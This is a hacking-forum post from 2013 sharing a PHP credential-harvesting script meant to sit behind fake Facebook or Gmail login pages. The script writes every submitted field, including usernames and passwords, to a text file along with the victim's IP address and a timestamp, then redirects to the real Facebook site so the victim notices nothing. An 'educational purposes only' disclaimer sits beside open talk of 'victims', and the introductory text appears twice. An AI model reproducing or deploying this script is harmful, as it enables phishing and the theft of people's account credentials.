Phishing php script 09-08-2013, 10:25 PM
#1
*Note: This is not a tutorial on how to use phishing to get emails and passwords. Only for educational purposes!!
Hi guys, i was gone for a while ,but, you know what people say..: Once a programmer, always a programmer
Today I wanna help those who so desperately try to find (like I did when I started ) the PHP script that recieves the POST method data(email/username and pass) from Facebook or Gmail(4example) and save them in a .txt file.
I remember that there is such script on the net but it is too simple... So this is my version of that PHP script with a few more features:
1. Recieves POST and GET method data and save them.
2. Also saves in the .txt file the server date and time so that you know when it was added.
3. Also gets and saves the victims IP adress for further usage.
This is an example of how its gonna look if you use it with multiple victims. IP is 127.0.0.1 'cause I used it in local network.
As you can see its pretty simple and everythink is organised.
![[Image: example-Copy_zps48ac1af0.jpg]](http://i1284.photobucket.com/albums/a564/Ariszak/example-Copy_zps48ac1af0.jpg)
PEACE:RETI0N
Hi guys, i was gone for a while ,but, you know what people say..: Once a programmer, always a programmer
Today I wanna help those who so desperately try to find (like I did when I started
) the PHP script that recieves the POST method data(email/username and pass) from Facebook or Gmail(4example) and save them in a .txt file.I remember that there is such script on the net but it is too simple... So this is my version of that PHP script with a few more features:
1. Recieves POST and GET method data and save them.
2. Also saves in the .txt file the server date and time so that you know when it was added.
3. Also gets and saves the victims IP adress for further usage.
PHP Code:
<?php
/*
#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!
Credits: ReTi0n 4 HackCommunity.COM
Date : 8/9/13
#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!
*/
//Location: The location where the user will be redirected after the script executes the commands. You can change it.
header("Location: https://www.facebook.com/profile.php ");
//It will create the file "logs1.txt" (if not already created) and will save the POST or GET method data(the username/email and pass). You can change the filename.
$handle = fopen("logs1.txt", "a");
fwrite($handle, "\r\n");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
//2ρος γυρος.
//This filename must be the same with the one above.
$myFile = "logs1.txt";
$fh = fopen($myFile, 'a');
//Gets remote ip adress
$ip2 = $_SERVER['REMOTE_ADDR'];
$ip = "IP=" . $_SERVER['REMOTE_ADDR'] . "\n" ;
$stringData = "------------------------------------------\n";
$date = "Date=" . date('Y-m-d H:i:s');
//write in file
fwrite($fh, $ip);
fwrite($fh, "\r\n");
fwrite($fh, $date);
fwrite($fh, "\r\n");
fwrite($fh, $stringData);
fwrite($fh, "\r\n");
fwrite($fh, "\r\n");
fclose($fh);
exit;
/*
#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!
Credits: ReTi0n 4 HackCommunity.COM
Date : 8/9/13
#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!#!
*/
?>This is an example of how its gonna look if you use it with multiple victims. IP is 127.0.0.1 'cause I used it in local network.
As you can see its pretty simple and everythink is organised.
PEACE:RETI0N
![[Image: Animated-Flag-Greece.gif]](http://images.wikia.com/merlin1/images/e/eb/Animated-Flag-Greece.gif)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)
